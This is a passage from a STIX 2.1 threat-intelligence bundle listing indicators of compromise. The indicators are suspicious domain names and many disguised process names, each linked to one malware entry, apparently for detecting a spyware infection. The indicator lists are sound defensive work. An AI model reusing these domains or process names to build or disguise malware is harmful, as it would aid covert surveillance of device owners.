"2024-01-26T21:28:21.740801Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='alljazeera.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.740801Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--277524ca-612b-471d-ac27-07c5332c48e8", "created": "2024-01-26T21:28:21.741181Z", "modified": "2024-01-26T21:28:21.741181Z", "relationship_type": "indicates", "source_ref": "indicator--98812879-9608-4975-b944-d6ff82cd6ffa", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6de96600-5326-4ffc-818f-3ac429429ec1", "created": "2024-01-26T21:28:21.74128Z", "modified": "2024-01-26T21:28:21.74128Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='sockstubename.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.74128Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--50be3bad-796c-4ebc-a006-7296b59a2885", "created": "2024-01-26T21:28:21.741663Z", "modified": "2024-01-26T21:28:21.741663Z", "relationship_type": "indicates", "source_ref": "indicator--6de96600-5326-4ffc-818f-3ac429429ec1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--157cb484-578e-48b8-98fd-6cd474b52aa2", "created": "2024-01-26T21:28:21.741758Z", "modified": "2024-01-26T21:28:21.741758Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='doitforthefame-now.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.741758Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--7087e589-c453-4c55-9830-f2879c6e9388", "created": "2024-01-26T21:28:21.742148Z", "modified": "2024-01-26T21:28:21.742148Z", "relationship_type": "indicates", "source_ref": "indicator--157cb484-578e-48b8-98fd-6cd474b52aa2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--8d250091-8218-40e7-b690-1288e8307658", "created": "2024-01-26T21:28:21.742243Z", "modified": "2024-01-26T21:28:21.742243Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='httpaccess.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.742243Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--396990ba-a873-4a44-a4f9-96e5cc0ca85d", "created": "2024-01-26T21:28:21.742712Z", "modified": "2024-01-26T21:28:21.742712Z", "relationship_type": "indicates", "source_ref": "indicator--8d250091-8218-40e7-b690-1288e8307658", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--49296310-e5b5-4576-86ed-37509de9e3bc", "created": "2024-01-26T21:28:21.742812Z", "modified": "2024-01-26T21:28:21.742812Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='without-additional.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.742812Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--8aaa1801-e8d9-4914-b39f-e0e7485bc6e1", "created": "2024-01-26T21:28:21.743207Z", "modified": "2024-01-26T21:28:21.743207Z", "relationship_type": "indicates", "source_ref": "indicator--49296310-e5b5-4576-86ed-37509de9e3bc", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--a8220dd8-45e7-4ae3-b4fc-f663e3b46d25", "created": "2024-01-26T21:28:21.743303Z", "modified": "2024-01-26T21:28:21.743303Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='cellphone-inside.org']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.743303Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--75822bea-8992-4c58-9f5a-f485b60ce4f3", "created": "2024-01-26T21:28:21.743691Z", "modified": "2024-01-26T21:28:21.743691Z", "relationship_type": "indicates", "source_ref": "indicator--a8220dd8-45e7-4ae3-b4fc-f663e3b46d25", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6d9c4603-0e4f-48f3-8998-5b665dc04f15", "created": "2024-01-26T21:28:21.743787Z", "modified": "2024-01-26T21:28:21.743787Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='maymknch2026.co']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.743787Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--16bea344-a047-4cc1-bb83-2d724eeb1e10", "created": "2024-01-26T21:28:21.744175Z", "modified": "2024-01-26T21:28:21.744175Z", "relationship_type": "indicates", "source_ref": "indicator--6d9c4603-0e4f-48f3-8998-5b665dc04f15", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--11f755ac-c432-4977-b490-635f9cf22be4", "created": "2024-01-26T21:28:21.744279Z", "modified": "2024-01-26T21:28:21.744279Z", "indicator_types": ["malicious-activity"], "pattern": "[domain-name:value='moneycheesecolor.com']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.744279Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--abf23a7d-d8ae-47cf-9da8-f1e931ab1b2b", "created": "2024-01-26T21:28:21.744671Z", "modified": "2024-01-26T21:28:21.744671Z", "relationship_type": "indicates", "source_ref": "indicator--11f755ac-c432-4977-b490-635f9cf22be4", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7dfdf005-892c-4b11-b5e7-f826111e8443", "created": "2024-01-26T21:28:21.74477Z", "modified": "2024-01-26T21:28:21.74477Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='fservernetd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.74477Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6d5cf132-4bc2-4b44-a8d2-594a50ffa043", "created": "2024-01-26T21:28:21.74556Z", "modified": "2024-01-26T21:28:21.74556Z", "relationship_type": "indicates", "source_ref": "indicator--7dfdf005-892c-4b11-b5e7-f826111e8443", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3f60c00b-69cc-4b5b-baba-9dbecdce2a9a", "created": "2024-01-26T21:28:21.74566Z", "modified": "2024-01-26T21:28:21.74566Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='accountpfd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.74566Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--bccfd962-1b16-48c1-a4b1-84e42949ee51", "created": "2024-01-26T21:28:21.746038Z", "modified": "2024-01-26T21:28:21.746038Z", "relationship_type": "indicates", "source_ref": "indicator--3f60c00b-69cc-4b5b-baba-9dbecdce2a9a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c5391c7e-9a35-4944-be8f-a1f3d5496ca1", "created": "2024-01-26T21:28:21.746137Z", "modified": "2024-01-26T21:28:21.746137Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='ReminderIntentsUIExtension']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.746137Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a8f19964-daab-470f-941a-9b7b334d9f8c", "created": "2024-01-26T21:28:21.746682Z", "modified": "2024-01-26T21:28:21.746682Z", "relationship_type": "indicates", "source_ref": "indicator--c5391c7e-9a35-4944-be8f-a1f3d5496ca1", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--684908e0-4914-445b-b15b-5bae1a058043", "created": "2024-01-26T21:28:21.746778Z", "modified": "2024-01-26T21:28:21.746778Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='libbmanaged']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.746778Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--612d6f99-9276-48df-94cb-aa2bcc7025fc", "created": "2024-01-26T21:28:21.747153Z", "modified": "2024-01-26T21:28:21.747153Z", "relationship_type": "indicates", "source_ref": "indicator--684908e0-4914-445b-b15b-5bae1a058043", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e8961901-5c07-4a71-aee3-18edf64a944c", "created": "2024-01-26T21:28:21.747251Z", "modified": "2024-01-26T21:28:21.747251Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='eventstorpd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.747251Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--62642fb9-f3f7-4d7f-9a66-a013b10755fc", "created": "2024-01-26T21:28:21.747725Z", "modified": "2024-01-26T21:28:21.747725Z", "relationship_type": "indicates", "source_ref": "indicator--e8961901-5c07-4a71-aee3-18edf64a944c", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--2eb2a2cf-fcad-4a47-9992-999218149400", "created": "2024-01-26T21:28:21.747823Z", "modified": "2024-01-26T21:28:21.747823Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='gssdp']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.747823Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--fe3f62bf-8af0-48b0-9b3c-a309648710d3", "created": "2024-01-26T21:28:21.748195Z", "modified": "2024-01-26T21:28:21.748195Z", "relationship_type": "indicates", "source_ref": "indicator--2eb2a2cf-fcad-4a47-9992-999218149400", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6d657b01-e515-451b-873a-06af7c22b908", "created": "2024-01-26T21:28:21.748295Z", "modified": "2024-01-26T21:28:21.748295Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='ckeblld']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.748295Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a11ca7d7-f0bf-4470-b0aa-ff78863fd51c", "created": "2024-01-26T21:28:21.748667Z", "modified": "2024-01-26T21:28:21.748667Z", "relationship_type": "indicates", "source_ref": "indicator--6d657b01-e515-451b-873a-06af7c22b908", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cad4bbaf-6242-4283-ba29-7b933b4863dd", "created": "2024-01-26T21:28:21.74877Z", "modified": "2024-01-26T21:28:21.74877Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='roleaboutd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.74877Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c2d8878b-d38f-429e-878e-47629d51d9f5", "created": "2024-01-26T21:28:21.74914Z", "modified": "2024-01-26T21:28:21.74914Z", "relationship_type": "indicates", "source_ref": "indicator--cad4bbaf-6242-4283-ba29-7b933b4863dd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--61f07609-3273-4b6c-837b-18186e6b29ce", "created": "2024-01-26T21:28:21.749237Z", "modified": "2024-01-26T21:28:21.749237Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='setframed']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.749237Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5597cde4-246b-4f73-aeb0-d32e8815e934", "created": "2024-01-26T21:28:21.74961Z", "modified": "2024-01-26T21:28:21.74961Z", "relationship_type": "indicates", "source_ref": "indicator--61f07609-3273-4b6c-837b-18186e6b29ce", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7b361df0-4642-4f00-8d40-eb3125bc71b2", "created": "2024-01-26T21:28:21.749708Z", "modified": "2024-01-26T21:28:21.749708Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='bluetoothfs']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.749708Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--391ad5dc-b41a-4be6-9b16-c0d9be24e2fa", "created": "2024-01-26T21:28:21.750081Z", "modified": "2024-01-26T21:28:21.750081Z", "relationship_type": "indicates", "source_ref": "indicator--7b361df0-4642-4f00-8d40-eb3125bc71b2", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6587a15f-85ce-4c37-9188-e887c75a8c69", "created": "2024-01-26T21:28:21.750186Z", "modified": "2024-01-26T21:28:21.750186Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='roleaccountd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.750186Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d7a838e7-91cc-4101-a6dc-30aa43c8c961", "created": "2024-01-26T21:28:21.750562Z", "modified": "2024-01-26T21:28:21.750562Z", "relationship_type": "indicates", "source_ref": "indicator--6587a15f-85ce-4c37-9188-e887c75a8c69", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--4b19f348-dadd-4bbe-99c6-3c376408e8fd", "created": "2024-01-26T21:28:21.750657Z", "modified": "2024-01-26T21:28:21.750657Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='updaterd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.750657Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3d4aa86b-9547-4412-ab2a-593acb7a42b6", "created": "2024-01-26T21:28:21.751024Z", "modified": "2024-01-26T21:28:21.751024Z", "relationship_type": "indicates", "source_ref": "indicator--4b19f348-dadd-4bbe-99c6-3c376408e8fd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--00923846-be14-4997-86d9-5ee90d81a31e", "created": "2024-01-26T21:28:21.751119Z", "modified": "2024-01-26T21:28:21.751119Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='nehelprd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.751119Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a82309c1-e73b-41cc-a3ad-cea3755b330e", "created": "2024-01-26T21:28:21.751492Z", "modified": "2024-01-26T21:28:21.751492Z", "relationship_type": "indicates", "source_ref": "indicator--00923846-be14-4997-86d9-5ee90d81a31e", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--cb2b729f-e965-4052-be1b-bbbb06cc28b9", "created": "2024-01-26T21:28:21.751588Z", "modified": "2024-01-26T21:28:21.751588Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='libtouchregd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.751588Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--6da28071-cb9a-4292-b3df-f23a2f034c1e", "created": "2024-01-26T21:28:21.752052Z", "modified": "2024-01-26T21:28:21.752052Z", "relationship_type": "indicates", "source_ref": "indicator--cb2b729f-e965-4052-be1b-bbbb06cc28b9", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--c14569d5-473c-432b-98fa-d89b482c7d7a", "created": "2024-01-26T21:28:21.752154Z", "modified": "2024-01-26T21:28:21.752154Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='llmdwatchd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.752154Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--a56ffd4a-533f-4e12-9e8c-e100795c8356", "created": "2024-01-26T21:28:21.752531Z", "modified": "2024-01-26T21:28:21.752531Z", "relationship_type": "indicates", "source_ref": "indicator--c14569d5-473c-432b-98fa-d89b482c7d7a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--62decf00-9827-4e45-9d4b-f89933d64155", "created": "2024-01-26T21:28:21.752629Z", "modified": "2024-01-26T21:28:21.752629Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='Diagnostics-2543']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.752629Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--32da28ab-9f36-4c75-9513-fddb8fc1c426", "created": "2024-01-26T21:28:21.753062Z", "modified": "2024-01-26T21:28:21.753062Z", "relationship_type": "indicates", "source_ref": "indicator--62decf00-9827-4e45-9d4b-f89933d64155", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--9e366e17-2032-458b-9fa0-61bf341041ed", "created": "2024-01-26T21:28:21.753161Z", "modified": "2024-01-26T21:28:21.753161Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='stagegrad']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.753161Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--3269ef25-e3ff-4eba-9ff1-15ee7062f39b", "created": "2024-01-26T21:28:21.753532Z", "modified": "2024-01-26T21:28:21.753532Z", "relationship_type": "indicates", "source_ref": "indicator--9e366e17-2032-458b-9fa0-61bf341041ed", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--69ead797-187f-4a06-961d-1964d555dc11", "created": "2024-01-26T21:28:21.75363Z", "modified": "2024-01-26T21:28:21.75363Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='locserviced']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.75363Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5fcc3c7d-21ab-47ed-953b-270d524bbb61", "created": "2024-01-26T21:28:21.754006Z", "modified": "2024-01-26T21:28:21.754006Z", "relationship_type": "indicates", "source_ref": "indicator--69ead797-187f-4a06-961d-1964d555dc11", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--78ecd699-dc86-48f8-8397-cdf77976d1ea", "created": "2024-01-26T21:28:21.754104Z", "modified": "2024-01-26T21:28:21.754104Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='passsd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.754104Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--0263c218-ee4d-4a05-b329-ab5a43f3bfe5", "created": "2024-01-26T21:28:21.754469Z", "modified": "2024-01-26T21:28:21.754469Z", "relationship_type": "indicates", "source_ref": "indicator--78ecd699-dc86-48f8-8397-cdf77976d1ea", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--bc22f83a-d171-4cc6-9989-dd691488eef8", "created": "2024-01-26T21:28:21.754565Z", "modified": "2024-01-26T21:28:21.754565Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='com.apple.rapports.events']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.754565Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d4359c89-af68-4cbf-b8e7-5ba3d0939d5b", "created": "2024-01-26T21:28:21.75495Z", "modified": "2024-01-26T21:28:21.75495Z", "relationship_type": "indicates", "source_ref": "indicator--bc22f83a-d171-4cc6-9989-dd691488eef8", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--535d7c9f-42b0-496b-8288-c485bd559e8a", "created": "2024-01-26T21:28:21.755046Z", "modified": "2024-01-26T21:28:21.755046Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='PDPDialogs']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.755046Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--13b7e817-80c6-4dfe-bc94-dbfa1a91c3c9", "created": "2024-01-26T21:28:21.755545Z", "modified": "2024-01-26T21:28:21.755545Z", "relationship_type": "indicates", "source_ref": "indicator--535d7c9f-42b0-496b-8288-c485bd559e8a", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--82b9f43a-39a5-4f57-8aba-6485daf830b6", "created": "2024-01-26T21:28:21.755642Z", "modified": "2024-01-26T21:28:21.755642Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='natgd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.755642Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c0a8db33-15a1-4098-9359-84bf3c385bb0", "created": "2024-01-26T21:28:21.75601Z", "modified": "2024-01-26T21:28:21.75601Z", "relationship_type": "indicates", "source_ref": "indicator--82b9f43a-39a5-4f57-8aba-6485daf830b6", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--d6444ba4-3b30-4f4e-92be-199f5e5186cd", "created": "2024-01-26T21:28:21.756107Z", "modified": "2024-01-26T21:28:21.756107Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='brfstagingd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.756107Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--95505e67-2679-4bbc-8ca5-4792dcb43495", "created": "2024-01-26T21:28:21.756567Z", "modified": "2024-01-26T21:28:21.756567Z", "relationship_type": "indicates", "source_ref": "indicator--d6444ba4-3b30-4f4e-92be-199f5e5186cd", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--dccc0270-3059-4beb-a284-5e96e244a9af", "created": "2024-01-26T21:28:21.75667Z", "modified": "2024-01-26T21:28:21.75667Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='rolexd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.75667Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b9d4f50a-fdad-48a6-a561-c40fad8a8653", "created": "2024-01-26T21:28:21.75704Z", "modified": "2024-01-26T21:28:21.75704Z", "relationship_type": "indicates", "source_ref": "indicator--dccc0270-3059-4beb-a284-5e96e244a9af", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--e628a84b-d72e-473c-86df-6e936a1ad49b", "created": "2024-01-26T21:28:21.757139Z", "modified": "2024-01-26T21:28:21.757139Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='appccntd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.757139Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5dab5e85-3767-4c05-8b10-7965fc3492c9", "created": "2024-01-26T21:28:21.757506Z", "modified": "2024-01-26T21:28:21.757506Z", "relationship_type": "indicates", "source_ref": "indicator--e628a84b-d72e-473c-86df-6e936a1ad49b", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ac55354c-5487-4662-8211-10b24e0866f7", "created": "2024-01-26T21:28:21.757601Z", "modified": "2024-01-26T21:28:21.757601Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='neagentd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.757601Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--d318d6a8-372d-4890-a321-225653089e3f", "created": "2024-01-26T21:28:21.757978Z", "modified": "2024-01-26T21:28:21.757978Z", "relationship_type": "indicates", "source_ref": "indicator--ac55354c-5487-4662-8211-10b24e0866f7", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--f4163b50-ec8f-429c-88e7-0b6d2f483154", "created": "2024-01-26T21:28:21.758078Z", "modified": "2024-01-26T21:28:21.758078Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='boardframed']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.758078Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--c77944e2-d7a0-4562-94e1-fe708c2bf59a", "created": "2024-01-26T21:28:21.758453Z", "modified": "2024-01-26T21:28:21.758453Z", "relationship_type": "indicates", "source_ref": "indicator--f4163b50-ec8f-429c-88e7-0b6d2f483154", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--3624aad9-7352-40a6-bb10-ecd192de2381", "created": "2024-01-26T21:28:21.758549Z", "modified": "2024-01-26T21:28:21.758549Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='wifip2ppd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.758549Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--be5112e9-d2d7-43ae-be50-89c7feac0d36", "created": "2024-01-26T21:28:21.758921Z", "modified": "2024-01-26T21:28:21.758921Z", "relationship_type": "indicates", "source_ref": "indicator--3624aad9-7352-40a6-bb10-ecd192de2381", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--b9d286df-9322-4948-8d2a-1c1954e77f13", "created": "2024-01-26T21:28:21.759017Z", "modified": "2024-01-26T21:28:21.759017Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='logseld']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.759017Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--5b80df9a-b504-4b83-af80-b288ed1517db", "created": "2024-01-26T21:28:21.759385Z", "modified": "2024-01-26T21:28:21.759385Z", "relationship_type": "indicates", "source_ref": "indicator--b9d286df-9322-4948-8d2a-1c1954e77f13", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--6aa13c8a-eb04-44e7-86eb-1e5db415b7ba", "created": "2024-01-26T21:28:21.759481Z", "modified": "2024-01-26T21:28:21.759481Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='Diagnosticd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.759481Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--69e1d067-6f7c-4799-936f-c38a737cd41b", "created": "2024-01-26T21:28:21.759852Z", "modified": "2024-01-26T21:28:21.759852Z", "relationship_type": "indicates", "source_ref": "indicator--6aa13c8a-eb04-44e7-86eb-1e5db415b7ba", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--7bedf41b-9b60-4006-94c2-5d3c4c23f431", "created": "2024-01-26T21:28:21.759947Z", "modified": "2024-01-26T21:28:21.759947Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='keybrd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.759947Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--b4edb389-bade-42e3-9e51-5a69b0dbe308", "created": "2024-01-26T21:28:21.760313Z", "modified": "2024-01-26T21:28:21.760313Z", "relationship_type": "indicates", "source_ref": "indicator--7bedf41b-9b60-4006-94c2-5d3c4c23f431", "target_ref": "malware--2e9d534b-2e11-4758-bdc5-9c3e1c100d4d"}, {"type": "indicator", "spec_version": "2.1", "id": "indicator--ea37df27-b57a-4ec5-9f60-b26b821fca75", "created": "2024-01-26T21:28:21.760408Z", "modified": "2024-01-26T21:28:21.760408Z", "indicator_types": ["malicious-activity"], "pattern": "[process:name='gatekeeperd']", "pattern_type": "stix", "pattern_version": "2.1", "valid_from": "2024-01-26T21:28:21.760408Z"}, {"type": "relationship", "spec_version": "2.1", "id": "relationship--99325bc4-da6f-4714-8ddc-8cb4cf7b4d40", "created": "2024-01-26T21:28:21.760864Z", "modified": "2024-01-26T21:28:21.760864Z", "relationship_type": "indicates", "source_ref": "indicator--ea37df27-b57a-4ec5-9f60-b26b821fca75", "target_ref": 